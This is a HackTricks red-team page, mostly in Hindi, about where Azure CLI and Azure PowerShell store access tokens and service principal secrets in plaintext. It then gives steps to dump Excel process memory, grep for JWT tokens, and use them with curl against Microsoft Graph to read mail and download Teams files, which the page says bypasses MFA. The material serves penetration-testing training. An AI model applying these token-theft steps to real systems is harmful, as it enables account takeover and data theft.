Az - Local Cloud Credentials

Reading time: 4 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Local Token Storage and Security Considerations

Azure CLI (Command-Line Interface)

Tokens और संवेदनशील डेटा Azure CLI द्वारा स्थानीय रूप से संग्रहीत किए जाते हैं, जिससे सुरक्षा चिंताएँ उत्पन्न होती हैं:

  1. Access Tokens: accessTokens.json में स्पष्ट पाठ के रूप में संग्रहीत होते हैं, जो C:\Users\<username>\.Azure पर स्थित है।
  2. Subscription Information: azureProfile.json, उसी निर्देशिका में, सब्सक्रिप्शन विवरण रखता है।
  3. Log Files: .azure के भीतर ErrorRecords फ़ोल्डर में लॉग हो सकते हैं जिनमें उजागर क्रेडेंशियल्स होते हैं, जैसे:
  • क्रेडेंशियल्स के साथ निष्पादित कमांड।
  • टोकन का उपयोग करके एक्सेस की गई URLs, जो संवेदनशील जानकारी प्रकट कर सकती हैं।

Azure PowerShell

Azure PowerShell भी टोकन और संवेदनशील डेटा संग्रहीत करता है, जिसे स्थानीय रूप से एक्सेस किया जा सकता है:

  1. Access Tokens: TokenCache.dat, जो C:\Users\<username>\.Azure पर स्थित है, स्पष्ट पाठ में एक्सेस टोकन संग्रहीत करता है।
  2. Service Principal Secrets: ये AzureRmContext.json में बिना एन्क्रिप्टेड संग्रहीत होते हैं।
  3. Token Saving Feature: उपयोगकर्ताओं के पास Save-AzContext कमांड का उपयोग करके टोकन को स्थायी बनाने की क्षमता होती है, जिसे अनधिकृत एक्सेस से बचने के लिए सावधानी से उपयोग किया जाना चाहिए।

Automatic Tools to find them

Tokens in memory

जैसा कि इस वीडियो में बताया गया है, कुछ Microsoft सॉफ़्टवेयर जो क्लाउड के साथ समन्वयित होते हैं (Excel, Teams...) साफ़ पाठ में मेमोरी में एक्सेस टोकन संग्रहीत कर सकते हैं। इसलिए केवल dumping करना और memory के प्रोसेस का grepping for JWT tokens करना आपको क्लाउड में कई संसाधनों पर पहुंच प्रदान कर सकता है, MFA को बायपास करते हुए।

Steps:

  1. अपने पसंदीदा टूल के साथ EntraID उपयोगकर्ता के साथ समन्वयित एक्सेल प्रक्रियाओं को डंप करें।
  2. चलाएँ: string excel.dmp | grep 'eyJ0' और आउटपुट में कई टोकन खोजें।
  3. उन टोकनों को खोजें जो आपको सबसे अधिक रुचिकर हैं और उनके ऊपर टूल चलाएँ:
bash
# Check the identity of the token
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/me | jq

# Check the email (you need a token authorized in login.microsoftonline.com)
curl -s -H "Authorization: Bearer <token>" https://outlook.office.com/api/v2.0/me/messages | jq

# Download a file from Teams
## You need a token that can access graph.microsoft.com
## Then, find the <site_id> inside the memory and call
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/sites/<site_id>/drives | jq

## Then, list one drive
curl -s -H "Authorization: Bearer <token>" 'https://graph.microsoft.com/v1.0/sites/<site_id>/drives/<drive_id>' | jq

## Finally, download a file from that drive:
curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>'

ध्यान दें कि इस प्रकार के एक्सेस टोकन अन्य प्रक्रियाओं के अंदर भी पाए जा सकते हैं।

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें